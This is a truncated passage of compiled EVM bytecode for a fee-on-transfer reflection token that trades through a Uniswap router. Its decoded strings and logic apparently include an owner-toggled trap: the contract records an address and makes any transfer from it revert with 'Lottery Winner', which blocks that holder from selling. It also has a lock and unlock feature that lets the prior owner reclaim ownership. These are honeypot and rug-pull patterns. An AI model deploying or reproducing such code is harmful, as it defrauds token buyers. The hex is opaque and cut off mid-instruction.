d565b60405180821515815260200191505060405180910390f35b348015610bee57600080fd5b50610bf7612a37565b6040518082815260200191505060405180910390f35b348015610c1957600080fd5b50610c22612a41565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610c5a57600080fd5b50610c63612a67565b005b348015610c7157600080fd5b50610ca060048036036020811015610c8857600080fd5b81019080803515159060200190929190505050612b91565b005b348015610cae57600080fd5b50610cb7612caf565b60405180821515815260200191505060405180910390f35b348015610cdb57600080fd5b50610d0860048036036020811015610cf257600080fd5b8101908080359060200190929190505050612cc2565b005b348015610d1657600080fd5b50610d4360048036036020811015610d2d57600080fd5b8101908080359060200190929190505050612dbd565b005b348015610d5157600080fd5b50610db460048036036040811015610d6857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612fae565b6040518082815260200191505060405180910390f35b348015610dd657600080fd5b50610e1960048036036020811015610ded57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050613035565b005b348015610e2757600080fd5b50610e6a60048036036020811015610e3e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050613158565b005b610e74613363565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f34576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b8060108190555050565b6060600d8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610fd65780601f10610fab57610100808354040283529160200191610fd6565b820191906000526020600020905b815481529060010190602001808311610fb957829003601f168201915b5050505050905090565b6000610ff4610fed613363565b848461336b565b6001905092915050565b6000600c54905090565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6000600a54905090565b600060011515600360009054906101000a900460ff16151514156112c457600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156110df5750600073ffffffffffffffffffffffffffffffffffffffff16601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b1561112a5782601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506111ef565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156111ee576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600e8152602001807f4c6f74746572792057696e6e657200000000000000000000000000000000000081525060200191505060405180910390fd5b5b6111fa848484613562565b6112bb84611206613363565b6112b68560405180606001604052806028815260200161552f60289139600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061126c613363565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546139259092919063ffffffff16565b61336b565b60019050611395565b6112cf848484613562565b611390846112db613363565b61138b8560405180606001604052806028815260200161552f60289139600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000611341613363565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546139259092919063ffffffff16565b61336b565b600190505b9392505050565b6000600b548211156113f9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180615474602a913960400191505060405180910390fd5b60006114036139e5565b90506114188184613a1090919063ffffffff16565b915050919050565b6000600f60009054906101000a900460ff16905090565b61143f613363565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146114ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600860008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166115be576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f4163636f756e7420697320616c7265616479206578636c75646564000000000081525060200191505060405180910390fd5b60005b6009805490508110156117bd578173ffffffffffffffffffffffffffffffffffffffff16600982815481106115f257fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156117b05760096001600980549050038154811061164e57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009828154811061168657fe5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600980548061177657fe5b6001900381819060005260206000200160006101000a81549073ffffffffffffffffffffffffffffffffffffffff021916905590556117bd565b80806001019150506115c1565b5050565b600061186a6117ce613363565b8461186585600660006117df613363565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a5a90919063ffffffff16565b61336b565b6001905092915050565b60105481565b6000611884613363565b9050600860008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611929576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c8152602001806155c9602c913960400191505060405180910390fd5b600061193483613ae2565b5050505050905061198d81600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613b3e90919063ffffffff16565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119e581600b54613b3e90919063ffffffff16565b600b81905550611a0083600c54613a5a90919063ffffffff16565b600c81905550505050565b611a13613363565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611ad3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6001600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600a54831115611ba8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f416d6f756e74206d757374206265206c657373207468616e20737570706c790081525060200191505060405180910390fd5b81611bc8576000611bb884613ae2565b5050505050905080915050611bdf565b6000611bd384613ae2565b50505050915050809150505b92915050565b7f000000000000000000000000d92386c1aea7e9a5c5544f109b600833ca6808da81565b601460159054906101000a900460ff1681565b611c24613363565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611ce4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600860008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611da4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f4163636f756e7420697320616c7265616479206578636c75646564000000000081525060200191505060405180910390fd5b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115611e7857611e34600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461139c565b600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6001600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506009819080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60125481565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561202d57600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050612078565b612075600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461139c565b90505b919050565b612085613363565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612145576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60155481565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b612290613363565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612350576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b8060128190555050565b612362613363565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612422576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600360009054906101000a900460ff161561243c57600080fd5b6001600360006101000a81548160ff0219169083151502179055507fdccd1c7467c143e1a5b3306b29fa6d9ec4b5abc31257acd3e355edafa582abd060405160405180910390a1565b6060600e8054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561251d5780601f106124f25761010080835404028352916020019161251d565b820191906000526020600020905b81548152906001019060200180831161250057829003601f168201915b5050505050905090565b60006125ea612534613363565b846125e585604051806060016040528060258152602001615618602591396006600061255e613363565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546139259092919063ffffffff16565b61336b565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461269a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806155f56023913960400191505060405180910390fd5b6002544211612711576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f436f6e7472616374206973206c6f636b656420756e74696c203720646179730081525060200191505060405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b612819613363565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146128d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600060011515600360009054906101000a900460ff1615151415612a1a57601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156129ff576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600e8152602001807f4c6f74746572792057696e6e657200000000000000000000000000000000000081525060200191505060405180910390fd5b612a11612a0a613363565b8484613562565b60019050612a31565b612a2c612a25613363565b8484613562565b600190505b92915050565b6000600254905090565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b612a6f613363565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612b2f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600360009054906101000a900460ff16612b4857600080fd5b6000600360006101000a81548160ff0219169083151502179055507f04d5b2c2f5293a956dd0943d3212b5aa3ae1a61fc8fb77eb0777c2d03241626860405160405180910390a1565b612b99613363565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612c59576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80601460156101000a81548160ff0219169083151502179055507f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc1598160405180821515815260200191505060405180910390a150565b600360009054906101000a900460ff1681565b612cca613363565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612d8a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b612db4620f4240612da683600a54613b8890919063ffffffff16565b613a1090919063ffffffff16565b60158190555050565b612dc5613363565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612e85576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550804201600281905550600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61303d613363565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146130fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b613160613363565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614613220576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156132a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602681526020018061549e6026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156133f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806155a56024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415613477576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806154c46022913960400191505060405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156135e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806155806025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561366e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806154516023913960400191505060405180910390fd5b600081116136c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260298152602001806155576029913960400191505060405180910390fd5b6136cf61225f565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561373d575061370d61225f565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561379e5760155481111561379d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260288152602001806154e66028913960400191505060405180910390fd5b5b60006137a930611f92565b905060155481106137ba5760155490505b600060165482101590508080156137dc575060148054906101000a900460ff16155b801561383457507f000000000000000000000000d92386c1aea7e9a5c5544f109b600833ca6808da73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b801561384c5750601460159054906101000a900460ff165b1561386057601654915061385f82613c0e565b5b600060019050600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806139075750600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561391157600090505b61391d86868684613cee565b505050505050565b60008383111582906139d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561399757808201518184015260208101905061397c565b50505050905090810190601f1680156139c45780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b60008060006139f2613fff565b91509150613a098183613a1090919063ffffffff16565b9250505090565b6000613a5283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250614290565b905092915050565b600080828401905083811015613ad8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000806000806000806000806000613af98a614356565b9250925092506000806000613b178d8686613b126139e5565b6143b0565b9250925092508282828888889b509b509b509b509b509b5050505050505091939550919395565b6000613b8083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250613925565b905092915050565b600080831415613b9b5760009050613c08565b6000828402905082848281613bac57fe5b0414613c03576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602181526020018061550e6021913960400191505060405180910390fd5b809150505b92915050565b60016014806101000a81548160ff0219169083151502179055506000613c3e600283613a1090919063ffffffff16565b90506000613c558284613b3e90919063ffffffff16565b90506000479050613c6583614439565b6000613c7a8247613b3e90919063ffffffff16565b9050613c8683826146e7565b7f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb56184828560405180848152602001838152602001828152602001935050505060405180910390a15050505060016014806101000a81548160ff02191690831515021790555050565b80613cfc57613cfb614838565b5b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015613d9f5750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15613db457613daf84848461487b565b613feb565b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015613e575750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15613e6c57613e67848484614adb565b613fea565b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015613f105750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15613f2557613f20848484614d3b565b613fe9565b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015613fc75750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15613fdc57613fd7848484614f06565b613fe8565b613fe7848484614d3b565b5b5b5b5b80613ff957613ff86151fb565b5b50505050565b6000806000600b5490506000600a54905060005b6009805490508110156142535782600460006009848154811061403257fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118061411957508160056000600984815481106140b157fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b1561413057600b54600a549450945050505061428c565b6141b9600460006009848154811061414457fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484613b3e90919063ffffffff16565b925061424460056000600984815481106141cf57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483613b3e90919063ffffffff16565b91508080600101915050614013565b5061426b600a54600b54613a1090919063ffffffff16565b82101561428357600b54600a5493509350505061428c565b81819350935050505b9091565b6000808311829061433c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156143015780820151818401526020810190506142e6565b50505050905090810190601f16801561432e5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161434857fe5b049050809150509392505050565b6000806000806143658561520f565b9050600061437286615240565b9050600061439b8261438d858a613b3e90919063ffffffff16565b613b3e90919063ffffffff16565b90508083839550955095505050509193909250565b6000806000806143c98589613b8890919063ffffffff16565b905060006143e08689613b8890919063ffffffff16565b905060006143f78789613b8890919063ffffffff16565b90506000614420826144128587613b3e90919063ffffffff16565b613b3e90919063ffffffff16565b9050838184965096509650505050509450945094915050565b6060600267ffffffffffffffff8111801561445357600080fd5b506040519080825280602002602001820160405280156144825781602001602082028036833780820191505090505b509050308160008151811061449357fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561453357600080fd5b505afa158015614547573d6000803e3d6000fd5b505050506040513d602081101561455d57600080fd5b81019080805190602001909291905050508160018151811061457b57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506145e0307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d8461336b565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b838110156146a2578082015181840152602081019050614687565b505050509050019650505050505050600060405180830381600087803b1580156146cb57600080fd5b505af11580156146df573d6000803e3d6000fd5b505050505050565b614712307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d8461336b565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663f305d71982308560008061475c61225f565b426040518863ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200196505050505050506060604051808303818588803b1580156147e157600080fd5b505af11580156147f5573d6000803e3d6000fd5b50505050506040513d606081101561480c57600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050505050505050565b600060105414801561484c57506000601254145b1561485657614879565b601054601181905550601254601381905550600060108190555060006012819055505b565b60008060008060008061488d87613ae2565b9550955095509550955095506148eb87600560008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613b3e90919063ffffffff16565b600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061498086600460008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613b3e90919063ffffffff16565b600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550614a1585600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a5a90919063ffffffff16565b600460008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550614a6181615271565b614a6b8483615416565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080614aed87613ae2565b955095509550955095509550614b4b86600460008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613b3e90919063ffffffff16565b600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550614be083600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a5a90919063ffffffff16565b600560008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550614c7585600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a5a90919063ffffffff16565b600460008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550614cc181615271565b614ccb8483615416565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b60008060